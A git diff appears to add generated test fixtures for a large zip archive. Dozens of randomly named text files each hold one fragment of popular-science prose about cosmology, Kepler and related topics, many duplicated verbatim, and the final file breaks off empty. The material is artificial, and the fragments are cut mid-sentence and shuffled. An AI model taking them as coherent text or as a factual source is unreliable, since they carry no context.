diff --git a/big_zip/big-zip-files/folder_vutirmgutz/folder_xwvopunosc/folder_wmdiqdforf/folder_rvrkskfsnn/jkoqzheepm.txt b/big_zip/big-zip-files/folder_vutirmgutz/folder_xwvopunosc/folder_wmdiqdforf/folder_rvrkskfsnn/jkoqzheepm.txt
new file mode 100644
index 0000000..058d264
--- /dev/null
+++ b/big_zip/big-zip-files/folder_vutirmgutz/folder_xwvopunosc/folder_wmdiqdforf/folder_rvrkskfsnn/jkoqzheepm.txt
@@ -0,0 +1 @@
+signals could not fail to conclude that something interesting had been happening here
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_vutirmgutz/folder_xwvopunosc/folder_wmdiqdforf/folder_rvrkskfsnn/jvbhiaodozlzwhbiu.txt b/big_zip/big-zip-files/folder_vutirmgutz/folder_xwvopunosc/folder_wmdiqdforf/folder_rvrkskfsnn/jvbhiaodozlzwhbiu.txt
new file mode 100644
index 0000000..9eca81e
--- /dev/null
+++ b/big_zip/big-zip-files/folder_vutirmgutz/folder_xwvopunosc/folder_wmdiqdforf/folder_rvrkskfsnn/jvbhiaodozlzwhbiu.txt
@@ -0,0 +1 @@
+they having aged decades, say, and you having aged hardly at all! Traveling close to the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_vutirmgutz/folder_xwvopunosc/folder_wmdiqdforf/folder_rvrkskfsnn/onuqhzsbyajcuyweik.txt b/big_zip/big-zip-files/folder_vutirmgutz/folder_xwvopunosc/folder_wmdiqdforf/folder_rvrkskfsnn/onuqhzsbyajcuyweik.txt
new file mode 100644
index 0000000..9d2c89a
--- /dev/null
+++ b/big_zip/big-zip-files/folder_vutirmgutz/folder_xwvopunosc/folder_wmdiqdforf/folder_rvrkskfsnn/onuqhzsbyajcuyweik.txt
@@ -0,0 +1 @@
+these ideas are correct. But they illustrate the continuing and vigorous reassessment of
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_vutirmgutz/folder_xwvopunosc/folder_wmdiqdforf/folder_rvrkskfsnn/pcdvoscvepnozfmiwwa.txt b/big_zip/big-zip-files/folder_vutirmgutz/folder_xwvopunosc/folder_wmdiqdforf/folder_rvrkskfsnn/pcdvoscvepnozfmiwwa.txt
new file mode 100644
index 0000000..5ab4fa9
--- /dev/null
+++ b/big_zip/big-zip-files/folder_vutirmgutz/folder_xwvopunosc/folder_wmdiqdforf/folder_rvrkskfsnn/pcdvoscvepnozfmiwwa.txt
@@ -0,0 +1 @@
+the sensitivity of the neutrino telescope improves, it may become possible to probe nuclear
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_vutirmgutz/folder_xwvopunosc/folder_wmdiqdforf/folder_rvrkskfsnn/ttroxzobydypfv.txt b/big_zip/big-zip-files/folder_vutirmgutz/folder_xwvopunosc/folder_wmdiqdforf/folder_rvrkskfsnn/ttroxzobydypfv.txt
new file mode 100644
index 0000000..4fe76e9
--- /dev/null
+++ b/big_zip/big-zip-files/folder_vutirmgutz/folder_xwvopunosc/folder_wmdiqdforf/folder_rvrkskfsnn/ttroxzobydypfv.txt
@@ -0,0 +1 @@
+ever to figure out that these two phenomena were due to the same force. This is the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_vutirmgutz/folder_xwvopunosc/folder_wmdiqdforf/folder_rvrkskfsnn/udyhaiqxadctgxryiumdu.txt b/big_zip/big-zip-files/folder_vutirmgutz/folder_xwvopunosc/folder_wmdiqdforf/folder_rvrkskfsnn/udyhaiqxadctgxryiumdu.txt
new file mode 100644
index 0000000..672cc13
--- /dev/null
+++ b/big_zip/big-zip-files/folder_vutirmgutz/folder_xwvopunosc/folder_wmdiqdforf/folder_rvrkskfsnn/udyhaiqxadctgxryiumdu.txt
@@ -0,0 +1 @@
+The human brain
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_vutirmgutz/folder_xwvopunosc/folder_wmdiqdforf/folder_rvrkskfsnn/woirskow.txt b/big_zip/big-zip-files/folder_vutirmgutz/folder_xwvopunosc/folder_wmdiqdforf/folder_rvrkskfsnn/woirskow.txt
new file mode 100644
index 0000000..c04f197
--- /dev/null
+++ b/big_zip/big-zip-files/folder_vutirmgutz/folder_xwvopunosc/folder_wmdiqdforf/folder_rvrkskfsnn/woirskow.txt
@@ -0,0 +1 @@
+encyclopaedia, which served perfectly well before, was no longer entirely adequate. Then
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_vutirmgutz/folder_xwvopunosc/folder_wmdiqdforf/folder_rvrkskfsnn/wtvrltsqunfajcbuz.txt b/big_zip/big-zip-files/folder_vutirmgutz/folder_xwvopunosc/folder_wmdiqdforf/folder_rvrkskfsnn/wtvrltsqunfajcbuz.txt
new file mode 100644
index 0000000..de22b72
--- /dev/null
+++ b/big_zip/big-zip-files/folder_vutirmgutz/folder_xwvopunosc/folder_wmdiqdforf/folder_rvrkskfsnn/wtvrltsqunfajcbuz.txt
@@ -0,0 +1 @@
+magical trappings: in viewing the universe, every place is as good as every other place. The
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_vutirmgutz/folder_xwvopunosc/folder_wmdiqdforf/folder_rvrkskfsnn/zodcnnocnpjpecgrmcbscmx.txt b/big_zip/big-zip-files/folder_vutirmgutz/folder_xwvopunosc/folder_wmdiqdforf/folder_rvrkskfsnn/zodcnnocnpjpecgrmcbscmx.txt
new file mode 100644
index 0000000..9aed5dd
--- /dev/null
+++ b/big_zip/big-zip-files/folder_vutirmgutz/folder_xwvopunosc/folder_wmdiqdforf/folder_rvrkskfsnn/zodcnnocnpjpecgrmcbscmx.txt
@@ -0,0 +1 @@
+nuclei that comprise my elbow not slide effortlessly through the nuclei that comprise the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_wdhgdgrbfc/bondkyoxvdcgxyq.txt b/big_zip/big-zip-files/folder_wdhgdgrbfc/bondkyoxvdcgxyq.txt
new file mode 100644
index 0000000..3c1ec23
--- /dev/null
+++ b/big_zip/big-zip-files/folder_wdhgdgrbfc/bondkyoxvdcgxyq.txt
@@ -0,0 +1 @@
+Independence. In July 1786, almost a year after setting sail, he reached the coast of Alaska,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_wdhgdgrbfc/fdsjfllubxcxwhpv.txt b/big_zip/big-zip-files/folder_wdhgdgrbfc/fdsjfllubxcxwhpv.txt
new file mode 100644
index 0000000..bec4c5b
--- /dev/null
+++ b/big_zip/big-zip-files/folder_wdhgdgrbfc/fdsjfllubxcxwhpv.txt
@@ -0,0 +1 @@
+obliterated, her name forgotten. Cyril was made a saint.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_wdhgdgrbfc/file_czpkyijqgdzhwkfkyd.txt b/big_zip/big-zip-files/folder_wdhgdgrbfc/file_czpkyijqgdzhwkfkyd.txt
new file mode 100644
index 0000000..f5ea165
--- /dev/null
+++ b/big_zip/big-zip-files/folder_wdhgdgrbfc/file_czpkyijqgdzhwkfkyd.txt
@@ -0,0 +1 @@
+that the few microbes they were able to find were not really natives of the dry valleys, but
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_wdhgdgrbfc/file_epcuiockebhmxxtago.txt b/big_zip/big-zip-files/folder_wdhgdgrbfc/file_epcuiockebhmxxtago.txt
new file mode 100644
index 0000000..f5ea165
--- /dev/null
+++ b/big_zip/big-zip-files/folder_wdhgdgrbfc/file_epcuiockebhmxxtago.txt
@@ -0,0 +1 @@
+that the few microbes they were able to find were not really natives of the dry valleys, but
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_wdhgdgrbfc/file_hacfyxtdwkdiycfwatiyvusg.txt b/big_zip/big-zip-files/folder_wdhgdgrbfc/file_hacfyxtdwkdiycfwatiyvusg.txt
new file mode 100644
index 0000000..f5ea165
--- /dev/null
+++ b/big_zip/big-zip-files/folder_wdhgdgrbfc/file_hacfyxtdwkdiycfwatiyvusg.txt
@@ -0,0 +1 @@
+that the few microbes they were able to find were not really natives of the dry valleys, but
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_wdhgdgrbfc/file_jdlhinpycace.txt b/big_zip/big-zip-files/folder_wdhgdgrbfc/file_jdlhinpycace.txt
new file mode 100644
index 0000000..f5ea165
--- /dev/null
+++ b/big_zip/big-zip-files/folder_wdhgdgrbfc/file_jdlhinpycace.txt
@@ -0,0 +1 @@
+that the few microbes they were able to find were not really natives of the dry valleys, but
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_wdhgdgrbfc/file_jyvxtmmtpl.txt b/big_zip/big-zip-files/folder_wdhgdgrbfc/file_jyvxtmmtpl.txt
new file mode 100644
index 0000000..f5ea165
--- /dev/null
+++ b/big_zip/big-zip-files/folder_wdhgdgrbfc/file_jyvxtmmtpl.txt
@@ -0,0 +1 @@
+that the few microbes they were able to find were not really natives of the dry valleys, but
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_wdhgdgrbfc/file_ljeldszgyuc.txt b/big_zip/big-zip-files/folder_wdhgdgrbfc/file_ljeldszgyuc.txt
new file mode 100644
index 0000000..f5ea165
--- /dev/null
+++ b/big_zip/big-zip-files/folder_wdhgdgrbfc/file_ljeldszgyuc.txt
@@ -0,0 +1 @@
+that the few microbes they were able to find were not really natives of the dry valleys, but
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_wdhgdgrbfc/file_mdynxfbelqmkccuptpfvsx.txt b/big_zip/big-zip-files/folder_wdhgdgrbfc/file_mdynxfbelqmkccuptpfvsx.txt
new file mode 100644
index 0000000..f5ea165
--- /dev/null
+++ b/big_zip/big-zip-files/folder_wdhgdgrbfc/file_mdynxfbelqmkccuptpfvsx.txt
@@ -0,0 +1 @@
+that the few microbes they were able to find were not really natives of the dry valleys, but
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_wdhgdgrbfc/file_qmzrrkkuaqnol.txt b/big_zip/big-zip-files/folder_wdhgdgrbfc/file_qmzrrkkuaqnol.txt
new file mode 100644
index 0000000..f5ea165
--- /dev/null
+++ b/big_zip/big-zip-files/folder_wdhgdgrbfc/file_qmzrrkkuaqnol.txt
@@ -0,0 +1 @@
+that the few microbes they were able to find were not really natives of the dry valleys, but
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_wdhgdgrbfc/file_ximyquuowm.txt b/big_zip/big-zip-files/folder_wdhgdgrbfc/file_ximyquuowm.txt
new file mode 100644
index 0000000..f5ea165
--- /dev/null
+++ b/big_zip/big-zip-files/folder_wdhgdgrbfc/file_ximyquuowm.txt
@@ -0,0 +1 @@
+that the few microbes they were able to find were not really natives of the dry valleys, but
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_wdhgdgrbfc/file_yzszguvjqowihejtbczb.txt b/big_zip/big-zip-files/folder_wdhgdgrbfc/file_yzszguvjqowihejtbczb.txt
new file mode 100644
index 0000000..f5ea165
--- /dev/null
+++ b/big_zip/big-zip-files/folder_wdhgdgrbfc/file_yzszguvjqowihejtbczb.txt
@@ -0,0 +1 @@
+that the few microbes they were able to find were not really natives of the dry valleys, but
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_wdhgdgrbfc/finitvya.txt b/big_zip/big-zip-files/folder_wdhgdgrbfc/finitvya.txt
new file mode 100644
index 0000000..146e07d
--- /dev/null
+++ b/big_zip/big-zip-files/folder_wdhgdgrbfc/finitvya.txt
@@ -0,0 +1 @@
+3 The Harmony of Worlds
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_wdhgdgrbfc/fldojuhvoksgzmvjui.txt b/big_zip/big-zip-files/folder_wdhgdgrbfc/fldojuhvoksgzmvjui.txt
new file mode 100644
index 0000000..0418285
--- /dev/null
+++ b/big_zip/big-zip-files/folder_wdhgdgrbfc/fldojuhvoksgzmvjui.txt
@@ -0,0 +1 @@
+the stars; we must venture across the light-years. Then some nearby stars will seem to move
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_wdhgdgrbfc/fxaxiryjldhjugrsxhndjglp.txt b/big_zip/big-zip-files/folder_wdhgdgrbfc/fxaxiryjldhjugrsxhndjglp.txt
new file mode 100644
index 0000000..3137d05
--- /dev/null
+++ b/big_zip/big-zip-files/folder_wdhgdgrbfc/fxaxiryjldhjugrsxhndjglp.txt
@@ -0,0 +1 @@
+speed of light is a kind of elixir of life. Because time slows down close to the speed of light,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_wdhgdgrbfc/gnsnwwhmlslslscapr.txt b/big_zip/big-zip-files/folder_wdhgdgrbfc/gnsnwwhmlslslscapr.txt
new file mode 100644
index 0000000..56d0ceb
--- /dev/null
+++ b/big_zip/big-zip-files/folder_wdhgdgrbfc/gnsnwwhmlslslscapr.txt
@@ -0,0 +1 @@
+of nucleotides, the molecular components that make up DNA. How many bits of
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_wdhgdgrbfc/gqcyepbiqxaaou.txt b/big_zip/big-zip-files/folder_wdhgdgrbfc/gqcyepbiqxaaou.txt
new file mode 100644
index 0000000..4f8ac55
--- /dev/null
+++ b/big_zip/big-zip-files/folder_wdhgdgrbfc/gqcyepbiqxaaou.txt
@@ -0,0 +1 @@
+table? Why don’t I wind up on the floor? Or fall straight through the Earth?
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_wdhgdgrbfc/izpsdjrflyxcpuhjtaflbtp.txt b/big_zip/big-zip-files/folder_wdhgdgrbfc/izpsdjrflyxcpuhjtaflbtp.txt
new file mode 100644
index 0000000..2c59182
--- /dev/null
+++ b/big_zip/big-zip-files/folder_wdhgdgrbfc/izpsdjrflyxcpuhjtaflbtp.txt
@@ -0,0 +1 @@
+the old Latin name Belgium for their part of Europe.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_wdhgdgrbfc/lmjsuinfffmpmyjmmk.txt b/big_zip/big-zip-files/folder_wdhgdgrbfc/lmjsuinfffmpmyjmmk.txt
new file mode 100644
index 0000000..6de620a
--- /dev/null
+++ b/big_zip/big-zip-files/folder_wdhgdgrbfc/lmjsuinfffmpmyjmmk.txt
@@ -0,0 +1 @@
+ropes and cables of the modern world.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_wdhgdgrbfc/ncpphsegf.txt b/big_zip/big-zip-files/folder_wdhgdgrbfc/ncpphsegf.txt
new file mode 100644
index 0000000..d077439
--- /dev/null
+++ b/big_zip/big-zip-files/folder_wdhgdgrbfc/ncpphsegf.txt
@@ -0,0 +1 @@
+panes in the cabin were shattered.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_wdhgdgrbfc/pdppdhedydlawgvhwym.txt b/big_zip/big-zip-files/folder_wdhgdgrbfc/pdppdhedydlawgvhwym.txt
new file mode 100644
index 0000000..6de4f62
--- /dev/null
+++ b/big_zip/big-zip-files/folder_wdhgdgrbfc/pdppdhedydlawgvhwym.txt
@@ -0,0 +1 @@
+Bibliography. From Equation (2) we can prove that there are only five regular solids.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_wdhgdgrbfc/puqtvrnhomqbrkguy.txt b/big_zip/big-zip-files/folder_wdhgdgrbfc/puqtvrnhomqbrkguy.txt
new file mode 100644
index 0000000..115ac12
--- /dev/null
+++ b/big_zip/big-zip-files/folder_wdhgdgrbfc/puqtvrnhomqbrkguy.txt
@@ -0,0 +1 @@
+the Iliad or the Odyssey. We do not know what whales or their cousins the dolphins have to
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_wdhgdgrbfc/qbwalzyyprvrcjpepe.txt b/big_zip/big-zip-files/folder_wdhgdgrbfc/qbwalzyyprvrcjpepe.txt
new file mode 100644
index 0000000..5672461
--- /dev/null
+++ b/big_zip/big-zip-files/folder_wdhgdgrbfc/qbwalzyyprvrcjpepe.txt
@@ -0,0 +1 @@
+Through technical employment and the stimulation of high technology, money spent on
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_wdhgdgrbfc/rpagkqbzcuxepx.txt b/big_zip/big-zip-files/folder_wdhgdgrbfc/rpagkqbzcuxepx.txt
new file mode 100644
index 0000000..a37a7e0
--- /dev/null
+++ b/big_zip/big-zip-files/folder_wdhgdgrbfc/rpagkqbzcuxepx.txt
@@ -0,0 +1 @@
+Even before the battle of Danno-ura, fishermen may have been reluctant to eat such a crab.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_wdhgdgrbfc/siizcxeduftjnvian.txt b/big_zip/big-zip-files/folder_wdhgdgrbfc/siizcxeduftjnvian.txt
new file mode 100644
index 0000000..59497ac
--- /dev/null
+++ b/big_zip/big-zip-files/folder_wdhgdgrbfc/siizcxeduftjnvian.txt
@@ -0,0 +1 @@
+enough to understand supernovae, their star is unlikely to become one.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_wdhgdgrbfc/tdwocpenvymtoj.txt b/big_zip/big-zip-files/folder_wdhgdgrbfc/tdwocpenvymtoj.txt
new file mode 100644
index 0000000..2ac34b1
--- /dev/null
+++ b/big_zip/big-zip-files/folder_wdhgdgrbfc/tdwocpenvymtoj.txt
@@ -0,0 +1 @@
+Lift me up, and among the teeth
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_wdhgdgrbfc/tvnwbgmapeulf.txt b/big_zip/big-zip-files/folder_wdhgdgrbfc/tvnwbgmapeulf.txt
new file mode 100644
index 0000000..85976c3
--- /dev/null
+++ b/big_zip/big-zip-files/folder_wdhgdgrbfc/tvnwbgmapeulf.txt
@@ -0,0 +1 @@
+unconsciously urging the spacecraft at least to stand on its tiptoes, as if this laboratory,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_wdhgdgrbfc/xktktzhdxnfu.txt b/big_zip/big-zip-files/folder_wdhgdgrbfc/xktktzhdxnfu.txt
new file mode 100644
index 0000000..a4dbbfc
--- /dev/null
+++ b/big_zip/big-zip-files/folder_wdhgdgrbfc/xktktzhdxnfu.txt
@@ -0,0 +1 @@
+an intelligence able to understand a little of the elegant process responsible for its origin.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_wdhgdgrbfc/zoyegjwhsekui.txt b/big_zip/big-zip-files/folder_wdhgdgrbfc/zoyegjwhsekui.txt
new file mode 100644
index 0000000..843f4f4
--- /dev/null
+++ b/big_zip/big-zip-files/folder_wdhgdgrbfc/zoyegjwhsekui.txt
@@ -0,0 +1 @@
+a supernova is the result of some random concatenation of atoms in the heavens. He presents what he says is
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_wgdcdmekky/dhhchoawieqlesetsw.txt b/big_zip/big-zip-files/folder_wgdcdmekky/dhhchoawieqlesetsw.txt
new file mode 100644
index 0000000..574574d
--- /dev/null
+++ b/big_zip/big-zip-files/folder_wgdcdmekky/dhhchoawieqlesetsw.txt
@@ -0,0 +1 @@
+ocean. Canopus lock reacquired. The optical sensors seem to have mistaken Alpha
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_wgdcdmekky/fgybbenwhdcheknntgorkvfo.txt b/big_zip/big-zip-files/folder_wgdcdmekky/fgybbenwhdcheknntgorkvfo.txt
new file mode 100644
index 0000000..9a20999
--- /dev/null
+++ b/big_zip/big-zip-files/folder_wgdcdmekky/fgybbenwhdcheknntgorkvfo.txt
@@ -0,0 +1 @@
+Bang, the Cosmos was without form. There were no galaxies, no planets, no life. Deep,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_wgdcdmekky/file_aqrnpmnaprpoyig.txt b/big_zip/big-zip-files/folder_wgdcdmekky/file_aqrnpmnaprpoyig.txt
new file mode 100644
index 0000000..21a38de
--- /dev/null
+++ b/big_zip/big-zip-files/folder_wgdcdmekky/file_aqrnpmnaprpoyig.txt
@@ -0,0 +1 @@
+Mexican curanderas. Poor Kepler believed that he himself had contributed to her arrest.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_wgdcdmekky/file_atogwrwdebxfgwxam.txt b/big_zip/big-zip-files/folder_wgdcdmekky/file_atogwrwdebxfgwxam.txt
new file mode 100644
index 0000000..21a38de
--- /dev/null
+++ b/big_zip/big-zip-files/folder_wgdcdmekky/file_atogwrwdebxfgwxam.txt
@@ -0,0 +1 @@
+Mexican curanderas. Poor Kepler believed that he himself had contributed to her arrest.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_wgdcdmekky/file_bhbkenfqixpanw.txt b/big_zip/big-zip-files/folder_wgdcdmekky/file_bhbkenfqixpanw.txt
new file mode 100644
index 0000000..21a38de
--- /dev/null
+++ b/big_zip/big-zip-files/folder_wgdcdmekky/file_bhbkenfqixpanw.txt
@@ -0,0 +1 @@
+Mexican curanderas. Poor Kepler believed that he himself had contributed to her arrest.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_wgdcdmekky/file_bmxnyhnax.txt b/big_zip/big-zip-files/folder_wgdcdmekky/file_bmxnyhnax.txt
new file mode 100644
index 0000000..21a38de
--- /dev/null
+++ b/big_zip/big-zip-files/folder_wgdcdmekky/file_bmxnyhnax.txt
@@ -0,0 +1 @@
+Mexican curanderas. Poor Kepler believed that he himself had contributed to her arrest.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_wgdcdmekky/file_cfklpduotbr.txt b/big_zip/big-zip-files/folder_wgdcdmekky/file_cfklpduotbr.txt
new file mode 100644
index 0000000..21a38de
--- /dev/null
+++ b/big_zip/big-zip-files/folder_wgdcdmekky/file_cfklpduotbr.txt
@@ -0,0 +1 @@
+Mexican curanderas. Poor Kepler believed that he himself had contributed to her arrest.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_wgdcdmekky/file_dtcgqsqktlks.txt b/big_zip/big-zip-files/folder_wgdcdmekky/file_dtcgqsqktlks.txt
new file mode 100644
index 0000000..21a38de
--- /dev/null
+++ b/big_zip/big-zip-files/folder_wgdcdmekky/file_dtcgqsqktlks.txt
@@ -0,0 +1 @@
+Mexican curanderas. Poor Kepler believed that he himself had contributed to her arrest.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_wgdcdmekky/file_fghnbivt.txt b/big_zip/big-zip-files/folder_wgdcdmekky/file_fghnbivt.txt
new file mode 100644
index 0000000..21a38de
--- /dev/null
+++ b/big_zip/big-zip-files/folder_wgdcdmekky/file_fghnbivt.txt
@@ -0,0 +1 @@
+Mexican curanderas. Poor Kepler believed that he himself had contributed to her arrest.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_wgdcdmekky/file_gmuzapkpsmkxcbhvdtczvxp.txt b/big_zip/big-zip-files/folder_wgdcdmekky/file_gmuzapkpsmkxcbhvdtczvxp.txt
new file mode 100644
index 0000000..21a38de
--- /dev/null
+++ b/big_zip/big-zip-files/folder_wgdcdmekky/file_gmuzapkpsmkxcbhvdtczvxp.txt
@@ -0,0 +1 @@
+Mexican curanderas. Poor Kepler believed that he himself had contributed to her arrest.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_wgdcdmekky/file_hgounivtwe.txt b/big_zip/big-zip-files/folder_wgdcdmekky/file_hgounivtwe.txt
new file mode 100644
index 0000000..21a38de
--- /dev/null
+++ b/big_zip/big-zip-files/folder_wgdcdmekky/file_hgounivtwe.txt
@@ -0,0 +1 @@
+Mexican curanderas. Poor Kepler believed that he himself had contributed to her arrest.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_wgdcdmekky/file_ihhnqatcyshygcixv.txt b/big_zip/big-zip-files/folder_wgdcdmekky/file_ihhnqatcyshygcixv.txt
new file mode 100644
index 0000000..21a38de
--- /dev/null
+++ b/big_zip/big-zip-files/folder_wgdcdmekky/file_ihhnqatcyshygcixv.txt
@@ -0,0 +1 @@
+Mexican curanderas. Poor Kepler believed that he himself had contributed to her arrest.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_wgdcdmekky/file_mhujlgdjjne.txt b/big_zip/big-zip-files/folder_wgdcdmekky/file_mhujlgdjjne.txt
new file mode 100644
index 0000000..21a38de
--- /dev/null
+++ b/big_zip/big-zip-files/folder_wgdcdmekky/file_mhujlgdjjne.txt
@@ -0,0 +1 @@
+Mexican curanderas. Poor Kepler believed that he himself had contributed to her arrest.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_wgdcdmekky/file_mpsmxwticofwemrltdz.txt b/big_zip/big-zip-files/folder_wgdcdmekky/file_mpsmxwticofwemrltdz.txt
new file mode 100644
index 0000000..21a38de
--- /dev/null
+++ b/big_zip/big-zip-files/folder_wgdcdmekky/file_mpsmxwticofwemrltdz.txt
@@ -0,0 +1 @@
+Mexican curanderas. Poor Kepler believed that he himself had contributed to her arrest.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_wgdcdmekky/file_mqtnelcgpzjxmfmzvjkeru.txt b/big_zip/big-zip-files/folder_wgdcdmekky/file_mqtnelcgpzjxmfmzvjkeru.txt
new file mode 100644
index 0000000..21a38de
--- /dev/null
+++ b/big_zip/big-zip-files/folder_wgdcdmekky/file_mqtnelcgpzjxmfmzvjkeru.txt
@@ -0,0 +1 @@
+Mexican curanderas. Poor Kepler believed that he himself had contributed to her arrest.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_wgdcdmekky/file_pdfttnaobmwvomqo.txt b/big_zip/big-zip-files/folder_wgdcdmekky/file_pdfttnaobmwvomqo.txt
new file mode 100644
index 0000000..21a38de
--- /dev/null
+++ b/big_zip/big-zip-files/folder_wgdcdmekky/file_pdfttnaobmwvomqo.txt
@@ -0,0 +1 @@
+Mexican curanderas. Poor Kepler believed that he himself had contributed to her arrest.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_wgdcdmekky/file_qcnntycjqydczxtdcosvmi.txt b/big_zip/big-zip-files/folder_wgdcdmekky/file_qcnntycjqydczxtdcosvmi.txt
new file mode 100644
index 0000000..21a38de
--- /dev/null
+++ b/big_zip/big-zip-files/folder_wgdcdmekky/file_qcnntycjqydczxtdcosvmi.txt
@@ -0,0 +1 @@
+Mexican curanderas. Poor Kepler believed that he himself had contributed to her arrest.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_wgdcdmekky/file_qomdvkvy.txt b/big_zip/big-zip-files/folder_wgdcdmekky/file_qomdvkvy.txt
new file mode 100644
index 0000000..21a38de
--- /dev/null
+++ b/big_zip/big-zip-files/folder_wgdcdmekky/file_qomdvkvy.txt
@@ -0,0 +1 @@
+Mexican curanderas. Poor Kepler believed that he himself had contributed to her arrest.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_wgdcdmekky/file_rwlwvvpd.txt b/big_zip/big-zip-files/folder_wgdcdmekky/file_rwlwvvpd.txt
new file mode 100644
index 0000000..21a38de
--- /dev/null
+++ b/big_zip/big-zip-files/folder_wgdcdmekky/file_rwlwvvpd.txt
@@ -0,0 +1 @@
+Mexican curanderas. Poor Kepler believed that he himself had contributed to her arrest.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_wgdcdmekky/file_snlkfjrmny.txt b/big_zip/big-zip-files/folder_wgdcdmekky/file_snlkfjrmny.txt
new file mode 100644
index 0000000..21a38de
--- /dev/null
+++ b/big_zip/big-zip-files/folder_wgdcdmekky/file_snlkfjrmny.txt
@@ -0,0 +1 @@
+Mexican curanderas. Poor Kepler believed that he himself had contributed to her arrest.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_wgdcdmekky/file_suqdiacrzujyhzl.txt b/big_zip/big-zip-files/folder_wgdcdmekky/file_suqdiacrzujyhzl.txt
new file mode 100644
index 0000000..21a38de
--- /dev/null
+++ b/big_zip/big-zip-files/folder_wgdcdmekky/file_suqdiacrzujyhzl.txt
@@ -0,0 +1 @@
+Mexican curanderas. Poor Kepler believed that he himself had contributed to her arrest.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_wgdcdmekky/file_vomddhkzilzelalfolyuqo.txt b/big_zip/big-zip-files/folder_wgdcdmekky/file_vomddhkzilzelalfolyuqo.txt
new file mode 100644
index 0000000..21a38de
--- /dev/null
+++ b/big_zip/big-zip-files/folder_wgdcdmekky/file_vomddhkzilzelalfolyuqo.txt
@@ -0,0 +1 @@
+Mexican curanderas. Poor Kepler believed that he himself had contributed to her arrest.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_wgdcdmekky/file_zwlrxuppjaocwsdqu.txt b/big_zip/big-zip-files/folder_wgdcdmekky/file_zwlrxuppjaocwsdqu.txt
new file mode 100644
index 0000000..21a38de
--- /dev/null
+++ b/big_zip/big-zip-files/folder_wgdcdmekky/file_zwlrxuppjaocwsdqu.txt
@@ -0,0 +1 @@
+Mexican curanderas. Poor Kepler believed that he himself had contributed to her arrest.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_wgdcdmekky/gdihqmptxbmwluwjgm.txt b/big_zip/big-zip-files/folder_wgdcdmekky/gdihqmptxbmwluwjgm.txt
new file mode 100644
index 0000000..f5116e1
--- /dev/null
+++ b/big_zip/big-zip-files/folder_wgdcdmekky/gdihqmptxbmwluwjgm.txt
@@ -0,0 +1 @@
+vertices connected. If we examine the shadow of a cube in two dimensions, we notice that
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_wgdcdmekky/gjilfqkeepgnflsm.txt b/big_zip/big-zip-files/folder_wgdcdmekky/gjilfqkeepgnflsm.txt
new file mode 100644
index 0000000..95e25f5
--- /dev/null
+++ b/big_zip/big-zip-files/folder_wgdcdmekky/gjilfqkeepgnflsm.txt
@@ -0,0 +1 @@
+supernovae are the ovens and crucibles in which matter has been forged. The Sun is a
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_wgdcdmekky/hszxrlepgu.txt b/big_zip/big-zip-files/folder_wgdcdmekky/hszxrlepgu.txt
new file mode 100644
index 0000000..10f98eb
--- /dev/null
+++ b/big_zip/big-zip-files/folder_wgdcdmekky/hszxrlepgu.txt
@@ -0,0 +1 @@
